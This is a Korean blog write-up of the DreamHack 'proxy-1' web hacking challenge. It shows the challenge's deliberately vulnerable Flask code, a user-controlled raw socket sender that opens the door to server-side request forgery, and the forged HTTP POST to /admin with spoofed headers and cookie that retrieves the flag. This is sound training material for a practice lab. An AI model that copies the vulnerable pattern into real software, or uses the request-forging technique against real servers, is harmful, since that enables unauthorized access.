관리 메뉴

FU11M00N

[ DreamHack ] proxy-1 본문

Web Hacking/DreamHack

[ DreamHack ] proxy-1

호IT 2021. 3. 28. 05:37

- 문제 정보

Raw Socket Sender가 구현된 서비스입니다.
요구하는 조건을 맞춰 플래그를 획득하세요. 플래그는 flag.txt, FLAG 변수에 있습니다.

#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
import socket

app = Flask(__name__)

try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/socket', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('socket.html')
    elif request.method == 'POST':
        host = request.form.get('host')
        port = request.form.get('port', type=int)
        data = request.form.get('data')

        retData = ""
        try:
            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
                s.settimeout(3)
                s.connect((host, port))
                s.sendall(data.encode())
                while True:
                    tmpData = s.recv(1024)
                    retData += tmpData.decode()
                    if not tmpData: break
            
        except Exception as e:
            return render_template('socket_result.html', data=e)
        
        return render_template('socket_result.html', data=retData)


@app.route('/admin', methods=['POST'])
def admin():
    if request.remote_addr != '127.0.0.1':
        return 'Only localhost'

    if request.headers.get('User-Agent') != 'Admin Browser':
        return 'Only Admin Browser'

    if request.headers.get('DreamhackUser') != 'admin':
        return 'Only Admin'

    if request.cookies.get('admin') != 'true':
        return 'Admin Cookie'

    if request.form.get('userid') != 'admin':
        return 'Admin id'

    return FLAG

app.run(host='0.0.0.0', port=8000)

 

POST /admin HTTP/1.1 -
Host: host1.dreamhack.games
User-Agent:Admin Browser
DreamhackUser:admin
Content-Type: application/x-www-form-urlencoded
cookie:admin=true
Content-Length: 12

userid=admin

 

request 값을 보낼때 소스코드의 조건과 일치하게하여 보내면 clear

 

이 문제 또한 시간이 많이 소요됨.

이런 스타일의 문제를 처음접해봄.. -> 아직 엄청나게 초보인것.

또한 마지막에 userid=admin 이것을 11로 세어서 Content-Length: 11로 계속 보냈는데 다시세보니 12였다.. 이거때문에 몇 시간 날림

 

 

 

 

'Web Hacking > DreamHack' 카테고리의 다른 글

[ DreamHack ] simple-ssti  (0) 2021.03.28
[ DreamHack ] csrf-1  (0) 2021.03.28
[ DreamHack ] image-storage  (0) 2021.03.28
[ DreamHack ] file-download-1  (0) 2021.03.28
[ DreamHack ] xss-1  (0) 2021.03.28
Comments